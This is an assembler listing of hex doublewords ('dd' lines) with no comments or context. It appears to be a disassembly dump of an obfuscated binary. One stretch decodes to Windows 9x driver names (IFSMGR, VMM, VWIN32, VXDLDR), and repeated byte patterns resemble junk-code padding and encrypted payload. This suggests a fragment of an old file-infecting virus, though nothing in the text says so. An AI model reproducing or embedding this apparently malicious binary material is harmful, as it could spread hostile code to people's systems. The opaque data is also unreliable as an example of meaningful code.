		dd 64804000h, 2A8B5A18h, 53F09210h, 0E7D8FDEh, 0A7D9B604h
		dd 5C40C4F4h, 8C2F502Fh, 6C762F23h, 0F911358Ch,	8BAD979Dh
		dd 0D3F48BA1h, 828358DAh, 604A490Bh, 0FFFEAA2Ah, 618040FFh
		dd 0FF75E01Bh, 155C84F7h, 443F4D99h, 0B7E3D220h, 4849DFEAh
		dd 96A8B7C4h, 866323E7h, 0D564C1FAh, 6E55E899h,	1A61D2EAh
		dd 7461B3EEh, 55E899C7h, 0A1D9D4F3h, 0C7F7B2DEh, 75BDD483h
		dd 7486ED68h, 8BAC93A6h, 2130h,	86B9FC00h
		dd 0A653F092h, 6425E9A4h, 53F092DAh, 81BACE1Fh,	0DC480E24h
		dd 5FA3A749h, 0C58Dh, 61802B00h, 9290A30Ch, 2F1353F0h
		dd 0CF85F00Bh, 0C2F80CABh, 4718388h, 49DCEED6h,	49102B2Fh
		dd 21BE423Dh, 0EA526A25h, 0D15E6D1Bh, 4FCBE5BDh, 4EB9D2B6h
		dd 0DC8452E1h, 0A76DD15Fh, 0B5D2A904h, 2BB6C0F8h, 5AC8A3Fh
		dd 845BD9FDh, 9E090D88h, 45043772h, 0F9C54F4Ah,	0E7146081h
		dd 0F3D5BC46h, 0A6077245h, 41B4D5ABh, 9AEE2428h, 24CF85B6h
		dd 34240198h, 730AB57Fh, 0A5D65A51h, 67A7CEAFh,	2CE653BFh
		dd 0A6A54D7Fh, 0A940C7EBh, 315CE5D4h, 0EFECBD9h, 0ADDD0000h
		dd 90B12EF2h, 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh
		dd 40C4B9C8h, 2FF3AAA7h, 151994B0h, 105788Ah, 0B9881594h
		dd 3A55E7C8h, 65671799h, 3A950636h, 7080E52Ah, 47865EDDh
		dd 53F01AF4h, 0D9D4F00Fh, 0F30125A1h, 5B732A5Ch, 7F8F0604h
		dd 0C529ECE9h, 54D37408h, 3B437B32h, 45E23D54h,	53F039F6h
		dd 93E5090Dh, 0CCFE0D64h, 263E4DD1h, 201B1138h,	0CDAD6768h
		dd 85949B1Fh, 65BFh, 61807500h,	87ABE2E0h, 0AD9C1974h
		dd 2653F092h, 56D7D022h, 49DC6EC0h, 461E2D11h, 0F01B5103h
		dd 784063B5h, 0DEA11D17h, 6FDAF1ACh, 0E4BD73CEh, 7F8CF055h
		dd 0E4BD033Eh, 76BC8055h, 682325C2h, 719CE350h,	0A6DDEB34h
		dd 3189586Ch, 4FE330C6h, 0D1EA0E18h, 0C8010654h, 78C8984Fh
		dd 115DB52h, 60A7EB4h, 66673002h, 5374F337h, 69B6215Ah
		dd 53F092DAh, 8F3FF559h, 0F0920A2Eh, 8D080453h,	9CE8F989h
		dd 2B1ACE6Fh, 0C19849DFh, 3949CBC6h, 58CB2655h,	0E7DB6CDFh
		dd 6798E755h, 9E820636h, 0D1CCC794h, 8654874Dh,	10861480h
		dd 135h, 92B3CA25h, 9267D21Bh, 98FCAC70h, 0F109848Fh, 80959F95h
		dd 92A10E6Fh, 1153F092h, 8B4B092Dh, 0F092102Ah,	0F57FD353h
		dd 3C57A18Bh, 1A6E8050h, 9F188B58h, 53F092ACh, 9274C760h
		dd 8B8F53F0h, 43C15337h, 0F1FD8BD1h, 7A735AB4h,	7BBDD0DAh
		dd 2347C380h, 8609DDD1h, 69EB0F8Ah, 96546349h, 889480h
		dd 26h,	1A6E80ACh, 336E9AE1h, 188B7FE1h, 0C74D4041h, 0F09274D6h
		dd 0DB99FD53h, 6C67A18Bh, 604AA331h, 4E2Ah, 6E804000h
		dd 6E9AE11Ah, 69BF1B33h, 39D44AFFh, 2E10E220h, 0AC9F188Bh
		dd 2753F092h, 49D6D123h, 53F092F5h, 8B16DC34h, 316C67A1h
		dd 76BC4A1Ah, 9A8D7B9Fh, 0F606818Dh, 8B9E8092h,	92AC9F18h
		dd 808C53F0h, 1B36B105h, 0C6EA6E9Eh, 5478B24Ch,	88948096h
		dd 2600h, 6480AC00h, 2A8B5A18h,	53F09210h, 8B3FB599h, 376667A1h
		dd 6ED94ABDh, 0F09272C1h, 878DF153h, 202A9Dh, 80400000h
		dd 8B5A1864h, 58DAD3F4h, 927CCE6Fh, 5BBF53F0h, 74275920h
		dd 0A18BB4BEh, 0BD376667h, 0F48B604Ah, 0CB55DFD6h, 0FFFFFEC2h
		dd 1B618061h, 281347E0h, 60E449DFh, 0BBF2146Bh,	8EFA0F77h
		dd 0D801307Dh, 0BE8255E7h, 0D81E2F8Eh, 0B3A55E7h, 0EB196696h
		dd 1FC098B0h, 0F43732F8h, 0D45E5975h, 374DE037h, 5B77FC55h
		dd 725ACE20h, 0AB71191Bh, 0CB8BABD4h, 10h, 9286B9E1h, 0A4A653F0h
		dd 0FFF725E9h, 7D000000h, 0DFE06180h, 163A9EAEh, 286566E5h
		dd 365CD9EAh, 3F49DC97h, 2E59205Bh, 4706A173h, 0BFCC504Bh
		dd 5A68F9A9h, 6DA783E6h, 0E41792BEh, 9C243D6Ch,	44CEE99Dh
		dd 3D7D0B78h, 6ACB1E3Bh, 53B20A08h, 0D346F532h,	1D9A55E4h
		dd 55E4D32Eh, 69EDA1A5h, 89E93645h, 0ED4FCB69h,	0A8AA0B97h
		dd 141EAB45h, 0E05368ECh, 0F755DC90h, 858FFFD8h, 3BFFBAD6h
		dd 930E3940h, 0D3D7894h, 0B8D48B89h, 0B455CDFDh, 7195103Bh
		dd 0F34EEF5Ah, 705FDB54h, 6E23C7FEh, 0E90DD9D4h, 1B1F982Bh
		dd 2B45F42Ah, 51E04DB8h, 0D241B2DAh, 0DADC6F6Eh, 0F35741B2h
		dd 959F1634h, 8BD2E96Dh, 61FE0279h, 4FFA3B5Fh, 0C441B2DAh
		dd 4EDB5C40h, 225CE84Ah, 0B6EF8CAh, 1D2D0000h, 19E62h
		dd 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh, 0EEC249CDh, 0B0742958h
		dd 9F631A37h, 85890400h, 71B5E81Ah, 0C978A504h,	4A55E7CCh
		dd 65678709h, 2DC3BECDh, 0DBF10558h, 46769A92h,	64940739h
		dd 0DFEE05B2h, 0BECDFEADh, 0FC17108Dh, 70D8981h, 8139E753h
		dd 4E458595h, 53000000h, 0D8D5F48Bh, 324A414Fh,	99685CD6h
		dd 0C06DD8F3h, 53F09271h, 3B848EF2h, 0DC48ACFAh, 6C9BE249h
		dd 77BD1931h, 60FF0F73h, 441C2F5Eh, 9C190C4Dh, 55E447ADh
		dd 78CC2226h, 27D3217Bh, 0E71786B8h, 0E11A6E7Fh, 0C8C62E44h
		dd 0BF43C74Fh, 37666775h, 572D98F3h, 0E6387C1Bh, 33E3F1Eh
		dd 8053F0E5h, 2F0776BCh, 0EB53F0E5h, 0C772B3DFh, 5C53F0E5h
		dd 3050D4F8h, 1790ABD1h, 49DF5C46h, 0C786B599h,	874DD1CCh
		dd 0DFD6F48Bh, 0CEFC2BAFh, 0D123A7D7h, 1480E309h, 1E2C3386h
		dd 21F35767h, 18846h, 6F805200h, 0A0A90BEBh, 2C891945h
		dd 53F0D01Dh, 988EB296h, 9B1C3CB5h, 2AA8CC9Bh, 0DDD8F48Bh
		dd 77CB5457h, 0B253F092h, 0F917A7A5h, 0EA0E8A82h, 0A18B0CC6h
		dd 80503C57h, 2E581A6Eh, 215C6EFDh, 0FD67AD29h,	0E3186480h
		dd 92043770h, 133453F0h, 0D022269Ah, 5463496Eh,	88948096h
		dd 7B00h, 3A561500h, 49CB4F7Fh,	0E16E80C7h, 7A3752E4h
		dd 8BA03256h, 0EF28D3F4h, 0C6CA4AECh, 1AA56F93h, 0F08AA19Dh
		dd 0ABDD2A53h, 8A8B46E7h, 40853F0h, 486CE8E0h, 65202C33h
		dd 8AB9E655h, 953F08Ah,	2913E105h, 6C67A18Bh, 46431A31h
		dd 0E01895B4h, 0CC484064h, 0D94ADC46h, 0D8F38582h, 529ADDDh
		dd 998391F5h, 392Ah, 218EF900h,	53F09212h, 92FA49D6h, 157953F0h
		dd 0ED57DDA1h, 0E11A6E80h, 0AB5E7D93h, 0F0A73F0Ah, 5ED0B453h
		dd 62B09FE3h, 102A8BF8h, 0D353F092h, 0A18BF57Fh, 0A3316C67h
		dd 9654604Ah, 889480h, 33h, 9F188BACh, 53F092ACh, 0DDD12327h
		dd 3F4E7D09h, 7C8D9A11h, 8B09F301h, 0F092102Ah,	3FB59953h
		dd 4341188Bh, 6740CA48h, 4ABD3766h, 3E2A60h, 80400000h
		dd 8B5A1864h, 56DCD9F4h, 9276C855h, 0AFB553F0h,	99064E42h
		dd 53F0B6AAh, 82F32529h, 0BF3559C2h, 0AC9F188Bh, 2753F092h
		dd 0C2D6D123h, 0BBCC6667h, 0D14ECAC2h, 4BCFFFB2h, 604AAD27h
		dd 0FFFE632Ah, 6462F9FFh, 7FB51129h, 1B6180F5h,	77FB90E0h
		dd 43BA92CEh, 289BF6B1h, 0F017BC8Fh, 9DA83753h,	486CE8E0h
		dd 0AD9FCBCAh, 0EC5049DFh, 0F7E80DFh, 0E26E7B0Bh, 5CFD4CE9h
		dd 127655E7h, 4F1E89FAh, 0D7334B42h, 0E75CBB96h, 0DE543855h
		dd 0E75C6EDFh, 45384A55h, 631E2A35h, 79903F6Bh,	42A9B4B1h
		dd 0AC56EA30h, 5CD9348Bh, 55E754EDh, 5710E266h,	21h, 0E0DE6CE4h
		dd 0EE742EFDh, 0E78FF241h, 0E90D7155h, 86B9212Bh, 0A653F092h
		dd 0F725E9A4h, 0A5h, 1B61807Dh,	768B47E0h, 187C49DCh, 0C7709CE3h
		dd 0ADDC2C40h, 0CF53EF0h, 6DFA3E22h, 0AE162661h, 9512295Fh
		dd 4FCB1F71h, 0F675868Ah, 205BDFDAh, 13D968B5h,	0F65A5FDBh
		dd 28636F3Ch, 3359A810h, 0B1DEAD18h, 8FBBC4F4h,	0B322F014h
		dd 45F4ABB7h, 283744C8h, 0E8A36716h, 0A4E1EE7Dh, 1A293094h
		dd 9941B258h, 9EA07FB5h, 0C7A528EFh, 6DDD5CE7h,	7E75Fh
		dd 1B96B600h, 6778817h,	2F6A6502h, 574E7CEBh, 783554D3h
		dd 0B51D37B4h, 88171B96h, 61FE027Bh, 79E62A65h,	0A5D05447h
		dd 0F36AD946h, 0AAE955E7h, 6BFD8B66h, 94E0C023h
		dd 9AAC63B1h, 7091E8E3h, 0A8B7F73Dh, 21D7E796h,	3A4C7B92h
		dd 0D326F6B1h, 2C50E489h, 599E4CE8h, 2F388595h,	4D000000h
		dd 9C96133Eh, 0E061809Ah, 3793ABE2h, 0D3BFF813h, 5449DC65h
		dd 146BD8F0h, 677BDF8h,	55E485C7h, 87D33A25h, 8BA8A359h
		dd 6465h, 6180B300h, 84A8E5E0h,	0CA90477h, 53F0923Dh, 5540D2B6h
		dd 49DC49C5h, 0CAC5C11Eh, 0FD3A95A6h, 55E4B94Eh, 0F3B341C5h
		dd 0D4C7F980h, 0C6C720A4h, 0D123A7D7h, 606E083Ah, 0D1F5B0DEh
		dd 0B9CE7DBAh, 0C14555E4h, 0B1DFAEDDh, 0EF7838FAh, 269EAEDDh
		dd 1D9AB1C7h, 4FC85D51h, 0CF85B69Ah, 0CD49B8FCh, 0DA9E94CBh
		dd 0A5531E18h, 9A1B3044h, 49DC6B68h, 5FEA4BA6h,	0D455E49Bh
		dd 6FDA5B70h, 0E455E49Bh, 0F2569260h, 7058281Bh, 0A0DDEAF5h
		dd 0C9FA2CA8h, 29646501h, 168E0F05h, 1F156A41h,	2481BACEh
		dd 8F56DD2Eh, 94093847h, 0F7077E8Bh, 0E75F6F93h, 0DC597206h
		dd 8542E1B7h, 0D8A7D4B8h, 40C4F4A9h, 586AF1B2h,	4446E125h
		dd 984DC649h, 0E5559C77h, 687D7h, 7B365600h, 661728B7h
		dd 8F0A05A2h, 0B7EE1C8Bh, 0D8D5F473h, 55FDD754h, 28B77B36h
		dd 19E621Bh, 19868A05h,	570B4E7h, 0F1CA79A6h, 0A4955E7h
		dd 36656786h, 0B7D69506h, 0D451C2FAh, 53F09265h, 0BC769AFEh
		dd 65A9E4EFh, 83B8CC1Dh, 92A49710h, 5B3F53F0h, 2541EED9h
		dd 0DE49DF28h, 93A417Ah, 512E9E94h, 0E2398936h,	0B6D0119Ah
		dd 91E8D92h, 0E6566913h, 60FD4h, 0C3BECE00h, 0EE9FA03Fh
		dd 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh,	0A03FC3BEh
		dd 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 0F1B2812Eh, 823155E7h
		dd 0D5F48B1Eh, 0B1DFA0D8h, 2246C2FAh, 7F0DDCD0h, 2883E34Ch
		dd 0D8BC49DFh, 0B0C033A0h, 2563E73h, 4FFAC301h,	0C455E748h
		dd 0F11590BBh, 24616C23h, 12B87EE3h, 98AA0269h,	5A4h, 0D4585373h
		dd 0BF433A4Bh, 0A4682520h, 92960D3Bh, 77BBF615h, 5372C0F4h
		dd 404DDA5Eh, 2A26C145h, 0A3CAB6Fh, 9FE28F93h, 0E7F6231Eh
		dd 0A913A055h, 0E01B6180h, 0F9266C99h, 53F0924Ah, 292145C9h
		dd 0E94467ADh, 2397492h, 0F09296A5h, 0EB292D53h, 0DF2880EAh
		dd 95A5A949h, 3DC2BFCAh, 691348E2h, 3D889AF2h, 1C000005h
		dd 0F26DB1ECh, 0CF58DCD1h, 0DA45C9C4h, 0B22DF1ACh, 911A1E93h
		dd 85F817BFh, 0ACE9E681h, 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh
		dd 55E7F6FCh, 8BD8DC77h, 59DBD2F4h, 0FD0D8082h,	1E2D6062h
		dd 0C94B424Fh, 5B2259FDh, 0FF5B732Ah, 3F5635h, 5A5374FEh
		dd 732E5D22h, 0FAB3D04Fh, 0A9A6A5D6h, 0F57226ECh, 1A0D8D3h
		dd 53F0923Dh, 84B4EF1Dh, 0A4D4CFFBh, 959DF423h,	0D6F51CBBh
		dd 9DD60BB4h, 7CD625E7h, 9E53EE4Fh, 6CD053F0h, 44B7C448h
		dd 0F09E68DBh, 0AD67EB53h, 0B9D1CCFEh, 9C17334Ah, 0D4C7F996h
		dd 0F4A9D8A7h, 6B240C4h, 0E2196F7Eh, 0DC6F8945h, 0EE1E6249h
		dd 0E48FF04Fh, 9CF31255h, 47BF381h, 0B1F092D0h,	113AA369h
		dd 0C05276C1h, 0A987F238h, 2E8C8Bh, 0C3910000h,	0FFB5FC90h
		dd 72F43ED7h, 0E01B6180h, 0DC6CD747h, 14242849h, 0E49CAA95h
		dd 668D4855h, 0A89AC614h, 3849108Bh, 0D73CCF45h, 0F8000000h
		dd 5366567h, 324A4746h,	1F605CD6h, 0F28DBDF0h, 0D2ADDDD0h
		dd 7039FDB0h, 53F09700h, 0D6E598AAh, 0B037A97h,	52CD858Fh
		dd 277C8F30h, 8896D949h, 1DEC5464h, 76E15C6Fh, 0F0521A29h
		dd 7FB59953h, 0DCB7BC7Eh, 4DD1B549h, 295BD435h,	0DAFE5A72h
		dd 2F8204A1h, 0ADBC4FCBh, 0DB2FE5A0h, 0F7077E8Ch, 0D5C6F93h
		dd 10F971FEh, 4100984Ah, 3F4ED95Dh, 8EE18EB9h, 0D521BBB4h
		dd 0EF305478h, 62FF909Eh, 0B1D0E25Ah, 60000003h, 7EE92D60h
		dd 53CC504Dh, 2EB97D38h, 6A16520h, 5868A07h, 296463D3h
		dd 504D7AE5h, 7C3753CCh, 6E1D2FB8h, 337CCFAAh, 55E7F400h
		dd 674C7083h, 4E063568h, 0B6D40076h, 692529FFh,	98236FCh
		dd 0D022119Eh, 0DDA153F0h, 1786B857h, 6180C113h, 6A99E01Bh
		dd 71830737h, 0CF68DB36h, 53F0927Ch, 148193F7h,	49DC6C06h
		dd 0FBB8095Fh, 2D72FA19h, 8DB0F109h, 6F55E4D7h,	0A34989E0h
		dd 338BA8D1h, 0C0h, 366567F9h, 574A7906h, 978A8627h, 0B1C853F0h
		dd 43181A95h, 1A95B141h, 0C85566E2h, 53F09679h,	0AE7296FAh
		dd 276E0F31h, 0B1D98EB9h, 0BAC1FA1Eh, 9FFB138Eh, 50B12995h
		dd 0F5411724h, 0D32E5E45h, 25823DF7h, 49DC9369h, 0D0EC4C82h
		dd 268F7F4Fh, 0FE8DFE02h, 0E958C5CFh, 6A55E534h, 4ECAC2E6h
		dd 6B11F0C4h, 51B2D750h, 0C1454FCAh, 1994B3CAh,	0EBE76615h
		dd 0F63C98B0h, 0B0772A59h, 62FE4869h, 0A5EBB911h, 74000002h
		dd 4AD55954h, 27C04439h, 32AD712Ch, 0A959914h, 0F98286FBh
		dd 2D606FD7h, 54517EE9h, 403B57D0h, 6A2123BCh, 3770CBA6h
		dd 55E7F504h, 67B0749Fh, 76F13568h, 1FD55954h, 5366567h
		dd 923E0DAAh, 0D1B553F0h, 0B61A9D5Fh, 69AB2C7Ah, 8D00025Dh
		dd 506FE67Eh, 0A51FFC46h, 0B73A0996h, 0D5B953F0h, 1AEB9B5Fh
		dd 3ED05D6Eh, 3749DC40h, 43FA3B53h, 0A155E4A9h,	0DD034FA6h
		dd 0F98BA8C3h, 56h, 0CFD3FF8Eh,	0E4A1D36Eh, 0C8EC5055h
		dd 6180C04Ah, 0EF47E01Bh, 4749DC48h, 0B8F84BD4h, 0B4D055E4h
		dd 738185F9h, 0BAFB1377h, 55E4B883h, 9C8FE661h,	0DA69B621h
		dd 5955E4B8h, 0B845F4F5h, 7ADE55E4h, 0B70AD0B8h, 35948BA8h
		dd 0B9000000h, 8C52E14Eh, 6DD155E4h, 85B9BDA7h,	4953F092h
		dd 6AE6413Bh, 0ADA65417h, 0A1A47A2Ch, 8438FAA6h, 94A70065h
		dd 2F53F00Eh, 0ABF4072Bh, 49DCEA97h, 22F03418h,	0E01B6180h
		dd 0E0326D99h, 90B066C7h, 0DDA149DCh, 90310CADh, 34D355E4h
		dd 483242DDh, 574E638Ch, 0B57B070Dh, 0C18BA8E8h, 34h, 0C9121E56h
		dd 6B0ADB1h, 7A9E7837h,	44779BA2h, 0E4E768DBh, 0AD67EB55h
		dd 9286B9ABh, 0A04153F0h, 3C34A7D4h, 0D716FFA3h, 97060CF3h
		dd 49DC5CABh, 1ED4583Ch, 0E01B6180h, 423F6790h,	0AD43E79Ah
		dd 0BC8CD0AFh, 8427ED6Fh, 0DF39EF1Bh, 0AA0B6049h, 55E7C89Fh
		dd 0FF0C3014h, 0EB2F5E60h, 3B534A7Ch, 0E44122C3h, 55E7C855h
		dd 35466AEEh, 0A8183DAh, 71FC8D08h, 13774FC8h, 0D75F61F8h
		dd 51B5C5B8h, 404F1E2Dh, 5BD93D4Dh, 8FFE009Fh, 9C740C7Fh
		dd 1971AFBFh, 0BDAD220h, 39E14E7Dh, 3A45F20Ch, 987E31A4h
		dd 4BD494B3h, 0D1354540h, 0E42D6AADh, 55C55CE7h, 0BF47h
		dd 336E9E00h, 5E4F70EFh, 47424DDAh, 6F2624C3h, 900D3CABh
		dd 9D250F8Ch, 70EF336Eh, 49D65A53h, 21BE423Dh, 0CDA86C1Fh
		dd 0FA02317Eh, 728155E7h, 0D6F48B4Eh, 806155DFh, 1554C7F4h
		dd 677BDF8h, 49DF2B85h,	1895B2C9h, 5AAE64E0h, 8A86C5F6h
		dd 6460FF0Fh, 0A9F60529h, 55E7DB9Ah, 0CFFF3519h, 1B1F8EB0h
		dd 0B037A8Ch, 0ED02E8AAh, 0CF2691F4h, 0EC1F8EB0h, 0BECC729Dh
		dd 0A151A3C7h, 72890406h, 6CA6DDEBh, 8A010F50h,	0CF261572h
		dd 0AF088EB0h, 36E1E09Ch, 0A2168FBCh, 51692425h, 69ADD1F5h
		dd 8EC6CCFEh, 261A288Bh, 0EB6667B5h, 6836E11Dh,	5BC8C0E4h
		dd 878D0804h, 385h, 0A68C1300h,	4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 0E289521Fh, 4BF57h, 0FA010000h, 4EA835Fh
		dd 5C241487h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 50243489h
		dd 405E089h
		dd 2D000000h, 4, 5C240487h, 50241489h, 3C5C1CB8h, 25D8F743h
		dd 463A2229h, 0DA39340Dh, 35D8F71Bh, 0F8F0A162h, 0C158C689h
		dd 0CE8103E6h, 73D349A7h, 0DCE8C681h, 8B540E1Bh, 0C4832414h
		dd 8BB5304h, 1000000h, 8B3389D3h, 0C481241Ch, 4, 5A2434FFh
		dd 4C481h, 348B0000h, 0E1895124h, 4C181h, 0C1810000h, 4
		dd 5C240C87h, 0FD165FE9h, 0B83493FFh, 61769DDh,	0E0FFC503h
		dd 3CCE5CA0h, 27C6C2DBh, 419E44AEh, 65B5C340h, 7A4831C8h
		dd 11C660F1h, 7CA71B77h, 1408112Fh, 14E8h, 0ECDBEE00h
		dd 3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h, 0EFD38147h
		dd 5F067BC7h, 8E9h, 8BD68500h, 1255F9F5h, 19C781BEh, 80000064h
		dd 0D4B900E7h, 815BD4B1h, 0D4A909F1h, 0E081665Bh, 37FF0A1Fh
		dd 5A71C380h, 0DA34EEBBh, 79F2810Fh, 0F300A92h,	87h, 0B7C28100h
		dd 664F4DB3h, 0F281C78Bh, 4E58718Fh, 0EF811789h, 4248FEECh
		dd 81C3BF0Fh, 48FEE8C7h, 5FBE6642h, 1E98120h, 0F000000h
		dd 0B85h, 1CE900h, 2120000h, 83067DCCh,	0E9F2BF0Fh, 0FFFFFFA6h
		dd 903A1CEDh, 0F3A00965h, 929A9D24h, 34EB576Ch,	4D534649h
		dd 20205247h, 20444B56h, 20202020h, 204D4D56h, 20202020h
		dd 4E495756h, 20203233h, 4C445856h, 20205244h, 3 dup(0)
		dd 73CE9h, 0B8B0F00h, 60000000h, 0E434C381h, 8B664E58h
		dd 6A6061D0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0AF33C351h, 13B745Ah, 0DE923h
		dd 0ADF20000h, 8D39072Fh, 331EB4D7h, 0C72FB09Fh, 176B8485h
		dd 6, 13E96000h, 0FE000000h, 0ED79CC5Eh, 0CFAFCE3Ch, 0E09A5B2Bh
		dd 9C2A8202h, 5660C058h, 8E858h, 0A5590000h, 8510C311h
		dd 6158F885h, 6AC68B61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 406FC350h, 860FF1C3h
		dd 7, 1800Fh, 0FF90000h, 6660D8B7h, 0CE8BC78Bh,	0DE86061h
		dd 0A9000000h, 9EC49033h, 437879D1h, 2B388238h,	8B5FDF8Bh
		dd 0E8C161D9h, 880F6010h, 0
		dd 61FFB70Fh, 8C8C166h,	6E9h, 4B3F7700h, 893C24A4h, 176B8885h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 44463F1Ch, 0C166F84Ah, 10E908CBh, 0EB000000h
		dd 0B42ED4E2h, 0F26A3BC7h, 954B5EB7h, 8354FEA4h, 850F40FBh
		dd 72h,	5CBD8DF8h, 6A06176Bh, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0A8FBC355h,	43F57536h
		dd 0F1B70F60h, 0AE9h, 406FC100h, 0B78F1C3h, 61B60636h
		dd 193E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E901C09Bh, 0Eh, 3FD32499h, 0ECE105B7h
		dd 110B099Eh, 0FB839409h, 56850F0Dh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9551C353h, 8D4727A2h, 176B64BDh, 1820F06h, 0FC000000h
		dd 127E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 7CFEFC23h, 3613D3D8h, 1FB83F9h, 64850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 7768E3C3h, 666020CCh, 197DDA81h, 0BD8D61F5h
		dd 6176B6Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	31C35545h, 0B36461EFh, 56630233h, 0DEB96660h, 9DE96117h
		dd 0F000000h, 184h, 0FB83F900h,	4C850F2Ah, 0E9000000h
		dd 9, 0A82F884Fh, 8753EB7Ah, 12820F8Bh,	0E9000000h, 0Dh
		dd 78C43AF8h, 52E0CAE4h, 0AB9F54E3h, 74BD8D99h,	0FC06176Bh
		dd 5BE9h, 14850F00h, 0E9000000h, 0Fh, 746DD8C6h, 0EE546464h
		dd 0C8EA1002h, 8385781Bh, 850F27FBh, 339h, 18E0Fh, 8DF80000h
		dd 176B7CBDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E9D249ECh, 8, 6309A631h,	0AB9EBE27h
		dd 6B8CBD89h, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 1D261BC3h, 8B4AB560h, 536061D8h
		dd 8C0Fh, 81580000h, 3483C2DBh,	8C666140h, 68C0FC8h, 60000000h
		dd 0CEB70FF9h, 0E9032461h, 7, 335C4CA5h, 0AB311F5h, 0CD850FC0h
		dd 0F000001h, 78Ah, 1870F00h, 0F9000000h, 721EB58Dh, 0AE90617h
		dd 92000000h, 0A1D45BCDh, 0A3A059C4h, 56858B45h, 6A061772h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 6096C355h, 8B0FF560h, 0
		dd 11B96061h, 6107F446h, 52505061h, 820F5250h, 0
		dd 0EE9310Fh, 66000000h, 9DF7E8FAh, 43E2C83Bh, 2FB799EAh
		dd 0F585A01h, 0E9525031h, 0Bh, 0C0C63281h, 0C318942h, 0F4675E1h
		dd 0F525031h, 5A585A31h, 89585A58h, 8B602414h, 28A0FD3h
		dd 53000000h, 10F6159h,	60FE244Ch, 68D0Fh, 840F0000h, 0
		dd 8A0F5A61h, 1, 24C283F9h, 728966F8h, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0FE9F5h, 0AA390000h,	908CC0B0h, 0C05EAA67h, 0A101C96Ah
		dd 0BE96Fh, 0F8BC0000h,	0CC76F1Eh, 4D2748DFh, 12E9EDh
		dd 0F15D0000h, 499EACF2h, 9B3B46ECh, 50E9AC93h,	60C2AB12h
		dd 6A10CEC1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0ABD8C351h, 0B3F897D0h, 0FDF7D07h
		dd 0B81h, 6E900h, 9AA40000h, 9393B073h,	728966F8h, 0C830F02h
		dd 0E9000000h, 7, 0FD764888h, 0CD17714Ah, 0F2E9F804h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0DF3CC353h, 60FD9E38h, 58F0Fh, 16BE0000h
		dd 81424B75h, 180162C9h, 0F606165h, 80h, 12E800h, 87830000h
		dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 8A9E8F6Bh,	615E6160h
		dd 7256858Bh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 4128CEC3h, 1EB58DBBh, 6A061772h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6400C352h, 0F5DB220h, 188h, 858DFC00h, 6174134h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C7C35242h
		dd 0FF40F37Ch, 8B6660D0h, 198F0FFAh, 0E8000000h, 13h, 0C4C75C7h
		dd 20466332h, 30E42EC4h, 33531708h, 5A4365A2h, 84858961h
		dd 6A06176Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 72DFC353h, 14288BEBh, 0F9BA5EBh
		dd 884h, 2860F00h, 60000000h, 6A6161h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 71531DC3h
		dd 959EA0BEh, 14E9h, 17BF1500h,	0AD17C280h, 2272F442h
		dd 9378A99Fh, 0C7F88B9Bh, 858BF53Fh, 6176B84h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B4C35646h, 95E3C92Ch
		dd 0E959F2ECh, 0Eh, 91572E89h, 0DA40906Fh, 0E35BB2FEh
		dd 0FC34AAFh, 18Eh, 0FC60F500h,	7256BD83h, 0F000617h, 1285h
		dd 18E0F00h, 0F8000000h, 725685C7h, 13F0617h, 0E9FC0001h
		dd 10h,	5800F60h, 0B9000000h, 7D57A5FEh, 61D6BF0Fh, 20CDh
		dd 0C00B0000h, 708D3774h, 8CBD8B0Ch, 0B906176Bh, 8, 492275A6h
		dd 488BFA75h, 889D8B30h, 3B06176Bh, 157F3458h, 0D26BD38Bh
		dd 8BCA0304h, 84858901h, 0EB06176Bh, 0EB008B04h, 858B61C5h
		dd 6176B84h, 6AF8CFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 5082E0C3h, 0F2A5B0F5h, 66603B38h
		dd 0F55CD281h, 2870Fh, 0C2B60000h, 0E8C08B61h, 0Bh, 35E3296Bh
		dd 3F60F617h, 0E99FA87Ah, 8, 8A8D6ADCh,	0CC8F8998h, 58C0F58h
		dd 0BE000000h, 34CE553Ah, 6311C081h, 91BA0000h,	8171338Bh
